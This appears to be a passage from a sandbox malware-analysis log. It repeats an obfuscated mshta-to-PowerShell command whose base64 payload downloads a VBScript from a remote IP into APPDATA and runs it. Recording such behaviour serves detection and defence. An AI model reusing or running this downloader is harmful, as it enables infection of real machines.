                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Suspicious command line found
                Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Suspicious powershell command line found
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; 